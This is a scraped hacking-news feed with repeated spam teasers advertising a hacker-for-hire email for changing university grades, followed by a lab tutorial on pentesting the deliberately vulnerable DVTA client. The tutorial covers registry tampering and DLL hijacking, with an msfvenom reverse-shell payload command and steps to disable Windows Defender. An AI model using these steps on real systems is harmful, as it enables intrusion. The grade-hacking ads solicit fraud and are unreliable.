Hacking on Medium
I NEED A HACKER TO CHANGE MY TRANSCRIPT CONTACT: QULIOUSHACKER@GMAIL.COM

CONTACT: QULIOUSHACKER@GMAIL.COM — -IF YOU HAVE HACKING RELATED ISSUES CONCERNING HOW TO HACK AND CHANGE YOUR UNIVERSITY GRADES AND…

Continue reading on Medium »

Hacking on Medium
I NEED A HACKER TO CHANGE MY UNIVERSITY T CONTACT: QULIOUSHACKER@GMAIL.COM

CONTACT: QULIOUSHACKER@GMAIL.COM — -IF YOU HAVE HACKING RELATED ISSUES CONCERNING HOW TO HACK AND CHANGE YOUR UNIVERSITY GRADES AND…

Continue reading on Medium »

Hacking on Medium
HOW TO HACK PORTAL CONTACT: QULIOUSHACKER@GMAIL.COM

https://cdn-images-1.medium.com/max/600/0*kEcvgWIhRk61nVDA.jpeg
CONTACT: QULIOUSHACKER@GMAIL.COM — -IF YOU HAVE HACKING RELATED ISSUES CONCERNING HOW TO HACK AND CHANGE YOUR UNIVERSITY GRADES AND…

Continue reading on Medium »

Hacking on Medium
Network Discovery and Security Auditing with Nmap

https://cdn-images-1.medium.com/max/1920/1*cw6Gql7-97AnSCll0z9cMw.jpeg
Nmap “Network Mapper” is a free and open-source tool used for network discovery and security auditing. Many systems and network…

Continue reading on Dev Genius »

Hacking on Medium
HOW TO HACK WEBSITE ADMIN PASSWORD CONTACT: QULIOUSHACKER@GMAIL.COM

CONTACT: QULIOUSHACKER@GMAIL.COM — -IF YOU HAVE HACKING RELATED ISSUES CONCERNING HOW TO HACK AND CHANGE YOUR UNIVERSITY GRADES AND…

Continue reading on Medium »

Hacking on Medium
48h en la DarkWeb

https://cdn-images-1.medium.com/max/2600/0*6VP3FSbFlEhMroXX
He pasado 48h en la DarkNet y esto es lo que he encontrado. ¿Qué es? ¿Cómo funciona? ¿Qué hay dentro? ¿Es seguro?

Continue reading on La region vulnerable »

Trending repositories on GitHub today · GitHub
infosecn1nja / AD-Attack-Defense

Attack and defend active directory using modern post exploitation adversary tradecraft activity

Language: unknown
Star:
Fork:

Trending repositories on GitHub today · GitHub
Developer-Y / cs-video-courses

List of Computer Science courses with video lectures.

Language: unknown
Star:
Fork:

LAZYPARIAH — Low-Dependency CLI Tool for Generating Reverse Shell Payloads
https://skynettools.medium.com/lazypariah-low-dependency-cli-tool-for-generating-reverse-shell-payloads-97b217bc012f?source=rss------bug_bounty-5

Continue reading on Medium » (https://skynettools.medium.com/lazypariah-low-dependency-cli-tool-for-generating-reverse-shell-payloads-97b217bc012f?source=rss------bug_bounty-5)

LAZYPARIAH — Low-Dependency CLI Tool for Generating Reverse Shell Payloads

Continue reading on Medium »
Read more...

Hacking Articles|Raj Chandel's Blog
Thick Client Penetration Testing on DVTA

In the previous article, we have seen some methods to Analyze the Traffic of Thick Client Applications specifically in DVTA.

You can take a look at that article by browsing this link: - https://www.hackingarticles.in/thick-client-penetration-testing-traffic-analysis/<o:p

<o:p

In this article, we will perform some attacks to pen-test the application.<o:p

<o:p

Table of content <o:p

· Prerequisites<o:p

· Privilege Escalation <o:p

· DLL Hijacking <o:p

· Dumping connection string from memory<o:p

· SQL Injection <o:p

· Side Channel Data Leak<o:p

· Forensic Investigation: - Unreliable logs<o:p

<o:p

Prerequisites<o:p

· Attacker machine: - Kali Linux<o:p

· Regshot: - For Privilege Escalation<o:p

· Process Hacker: - To dump the memory strings<o:p

· Procmon from Sysinternal suite<o:p

<o:p

Privilege Escalation <o:p

<o:p

Regshot is a great open-source registry compare utility that you can use to compare the number of registry entries or installing a new software product so that you can easily take a snapshot of your registry and then compare it with a second. Let us see how we can use Regshot to figure out what modifications are done to the registry entries after running our application.<o:p

First of all download the Regshot application go going to the official site or you can directly download it from here: - https://sourceforge.net/projects/regshot/files/latest/download<o:p https://1.bp.blogspot.com/-0ST8w7KtU2E/YFi30_8f0dI/AAAAAAAAu2U/TNWRbAOCMk4SF1dOZYh1-p9X3-egKyWrwCLcBGAsYHQ/s16000/1.png Download and extract It into your system and open up 32 version of regshot <o:p https://1.bp.blogspot.com/-hm5uFQoU8nA/YFi34VOwxtI/AAAAAAAAu2Y/thZZhDeK5ocbuv9M4D3ITILQz34Nvr92ACLcBGAsYHQ/s16000/2.png After opening up the application choose the HTML document and take the 1st shot. So this should take a snapshot of all the registries entries. <o:p https://1.bp.blogspot.com/-HaY2B-TuMU0/YFi37xMzmkI/AAAAAAAAu2c/r9h-637WqfkImwm-uLahj7Ity-spowQQQCLcBGAsYHQ/s16000/3.png Once 1stshot is done open up the DVTA application and explores the application a bit by logging in to one of the user accounts and taking the profile information and after that we will take the second shot to observe the difference between the registry entries before running the application and registry entries after running the application. <o:p

Let’s open up the DVTA application and log in as Vijay or another user that you have created.<o:p https://1.bp.blogspot.com/-xQ4lMsQmk5Q/YFi4AW54-nI/AAAAAAAAu2g/vvFlWEwIODkAGclajOvyp7fILGGLkYreQCLcBGAsYHQ/s16000/4.png And then explore the application such as by clicking on View Profile or by checking expenses.<o:p https://1.bp.blogspot.com/-SZ0mGuR-m1o/YFi4ELXdTMI/AAAAAAAAu2k/zbZwOq2ztyMUwmQVfYyhnuiHVM3JRgLWgCLcBGAsYHQ/s16000/5.png <o:p

Now, let’s take a second shot to see what registries entries have been modified.<o:p https://1.bp.blogspot.com/-Ltzwh1FI5S8/YFi4Ju5aSbI/AAAAAAAAu2o/sB6Hmb6Cz94RwuatdFQqDQDENjsoh0exgCLcBGAsYHQ/s16000/6.png Ok, great 2ndshot also has been taken, let’s compare both of the entries.<o:p https://1.bp.blogspot.com/-KN6ahrXv76s/YFi4ND9sFcI/AAAAAAAAu2w/qqXEcZmndOUqGHHiiVZrVQCzcUTwThgBACLcBGAsYHQ/s16000/7.png It will show you an HTML file with all the differences between the 1st shot and 2ndshot. It will show you lots of entries. To make it easier to search for DVTA. When you apply the find filter it will show you some DVTA related entries. If you notice these are the registries entries that are modified while the application was running probably when we have logged in to the application at that time the DVTA application might have saved these values. You can s[...]

ee that initially, the user name was “null” after running the application the value Vijaywas added to this registry entry. Similarly, initially, the password was null, and “Vijay” was added after running the application. Basically, after logging in as Vijay the user name password was saved into the registry’s entries. Similarly, null has been replaced by “vijay@test.com” for the Emailentries and is logged in made “True” from falseas shown below.<o:p https://1.bp.blogspot.com/-DjrHagZ8k_M/YFi4QzTJxaI/AAAAAAAAu24/zENrpdqI7WsZGFn26AlmWWX5Hkkx2VA1ACLcBGAsYHQ/s16000/8.png <o:p

This brings us to perform an interesting attack. To do this open up this particular registry entry into the registry editor as shown below. As we can see there the value of IsLoggedIn is true so we can make use of this feature to log in as somebody else by changing the user name to Paras or whatever you want.<o:p https://1.bp.blogspot.com/-FaanTUpzpqo/YFi4UozOMxI/AAAAAAAAu3A/9-H6eygZg6ocI34s0yt1_nA_gKav6aD6QCLcBGAsYHQ/s16000/9.png Let’s see you can login or not into the DVTA application by using these registries entries. If the password is also going to verify by the client application you won’t be able to log in as paras. But if there are no checks made by the application to verify the password of the currently logged-in user account.<o:p

So, let's quickly check that we’re able to log in as paras or not.<o:p

As we can see we have successfully able to log in as paras just by tempering the registry entry. If you look at the view profile it is still showing Vijay’s Email ID because we didn’t modify that.<o:p https://1.bp.blogspot.com/-sDFM-ud7K5c/YFi4ZwXRRfI/AAAAAAAAu3E/SvL3qYv_tAoV6MGg8Z79hbFRObVcMOiUACLcBGAsYHQ/s16000/10.png Now we’re also able to communicate with the database by submitting expenses here. All you need to do is to go to Add Expanses then create an expense and save it as shown below. After saving it the data will be stored in the database.<o:p https://1.bp.blogspot.com/-zkUpi11wGvM/YFi4eN3gDGI/AAAAAAAAu3M/-L4hdqZav244n0BwGiYnAaT4PFs6BZvGwCLcBGAsYHQ/s16000/11.png You can also verify whether the data is successfully stored in the database or not. As you can see in the below image, we can retrieve data from the database successfully.<o:p https://1.bp.blogspot.com/-Lweza9GXV4c/YFi4hB_XuWI/AAAAAAAAu3Q/kS2wbQIGg0gWy3YeehGHjliLy78BpdFqwCLcBGAsYHQ/s16000/12.png This is how applications can make use of registry entries to save sensitive data and if attackers can find them, they can use them for different types of attacks.<o:p

<o:p

DLL Hijacking<o:p

<o:p DLL Hijacking is one of the commonly seen vulnerabilities. Now we have a question moving around is what is DLL. DLL stands for Dynamic Link Library. DLL files usually hold executable code that can be used by other applications so basically, they can act as a library that contains some code. When an application needs to use this DLL file and if the absolute path is not provided the application has to search for this DLL and if an attacker manages to replace this library or DLL with his own DLL from the same name as one the target application is looking for… it may load the attacker DLL instead of the library that application Is looking for and it may execute the malicious code placed by the attacker in the DLL file and this is known as DLL Hijacking.<o:pTo better understand DLL Hijacking we must understand how windows application find their DLL files when the full path is not provided.<o:pNow the question is how do we find if an application is vulnerable to DLL Hijacking.<o:p

Let’s test that with our DVTA application but before we proceed with that these are their assumptions let’s assume, we have an initial foothold on the target machine with low admin so we can easily manage to gain a shell on a windows machine where DVTA is running but th[...]

e problem is we got the access of windows with low privileges we don’t have admin access but we have found an application DVTA running with admin privileges. Now If this application is vulnerable to DLL Hijacking and we can exploit it then there is the highest probability that we will elevate our privileges to an administrator. Let’s do this <o:p

Firstly, open “Procmon” from Sysinternal suite <o:p https://1.bp.blogspot.com/-msnEeAV6-8c/YFi4kyLQjSI/AAAAAAAAu3U/01r4bcf3myAFWqhx4aH_-BhjXrVX0k0DACLcBGAsYHQ/s16000/13.png <o:p

By opening procmon it loads entries associate with all the processes. To reduce all the processes so let’s quickly apply a filter so that we will only see the data that we are interested in. To apply the filter, navigate to filter and apply the filter as shown below <o:p

· Process name is DVTA.exe<o:p

· Path ends with dll<o:p

· Result ends with NAME NOT FOUND<o:p

So that you are going to see only the process related to DVTA.exe<o:p

<o:p https://1.bp.blogspot.com/-UAi7CcuEDLo/YFi4o8gzORI/AAAAAAAAu3Y/xLwF7QnKUG8WMxEfb22c_DKZR4KbtmS5QCLcBGAsYHQ/s16000/14.png After applying the filter, quickly open the DVTA.exe and login into the application<o:p https://1.bp.blogspot.com/-0zkPmYE92vk/YFi4shC-sbI/AAAAAAAAu3c/5vPpl_uVCt4yRDgHdcukPyHAqs7lUwLEACLcBGAsYHQ/s16000/15.png We are basically finding out it is vulnerable to DLL hijacking or not. After log in to the application you can see a couple of entries were created in the procmon related to DVTA.exe. As you can see there it loaded two dll one is DWrite.dll another is SECUR32.DLL so basically, there are two DLL that are potentially usable for this attack.<o:p https://1.bp.blogspot.com/-GcrdAROiz1M/YFi4x0dZD1I/AAAAAAAAu3k/7REZ9aYcEYYYgVhb_YE3aafzz-CPIRsNwCLcBGAsYHQ/s16000/16.png Now the question is to check these two DLL are useable for us or not. To do this let’s go ahead and create a malicious DLL that gives a reverse shell.<o:p

To create malicious DLL open the Kali Linux and create a malicious DLL using msfvenom as shown below<o:p

Msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=4444 -f dll > DWrite.dll<o:p

<o:p

Then after moving this file to webroot so that we can download the DLL file In the victim machine by typing <o:p

<o:p

cp DWrite.dll /var/www/html <o:p

<o:p

and then start the apache service by typing <o:p

<o:p

service apache2 start <o:p

<o:p https://1.bp.blogspot.com/-rPHrLxhieww/YFi42ni1QNI/AAAAAAAAu3s/bRsyJXXaASMhis8aMNG3bb4dN2tx2A-UgCLcBGAsYHQ/s16000/17.png Let’s download these DLL files into the windows machine however, there is a problem these files will be flagged as a virus, and windows defender will not allow you to download them so we will have to disable windows defender for a while <o:p https://1.bp.blogspot.com/-BFAd6L2rClY/YFi47MvcqtI/AAAAAAAAu3w/yTBsZvbZLkMH8K8aSHWRt6l4U3AkmygxACLcBGAsYHQ/s16000/18.png <o:p

Now you good to download the DLL file by navigating to 192.168.0.108 in your browser <o:p

<o:p https://1.bp.blogspot.com/-kV8jgxy2Vgs/YFi4_kqqMlI/AAAAAAAAu34/KLqMBNvTPcwL88AaAsXNzSsocQujg2DAQCLcBGAsYHQ/s16000/19.png Now navigate to the Downloads folder and copy the Dwrite.dll file <o:p https://1.bp.blogspot.com/-x8kkMpeivZc/YFi5DvKy9FI/AAAAAAAAu4A/q6-axhtGruYWGzJTjo2Y26rvaa_T4SbSwCLcBGAsYHQ/s16000/20.png <o:p

And place it in the directory of the DVTA application <o:p

<o:p https://1.bp.blogspot.com/-H021CpTCKbQ/YFi5HZByiBI/AAAAAAAAu4I/w9pH7_QrbyEkZP-Mvf8Dm2ZDoHaufGz1QCLcBGAsYHQ/s16000/21.png Now come back to Kali Linux and setup Metasploit listener with the meterpreter payload. To do this type the following command <o:p

<o:p

msfconsole <o:p https://1.bp.blogspot.com/-GxcjY01EsQI/YFi5OfgexTI/AAAAAAAAu4M/C-jTrZs1UPgdLm09XesukzowrQjjtVYnQCLcBGAsYHQ/s16000/22.png <o:p

After opening up the msfconsole run the following command<o:p

[...]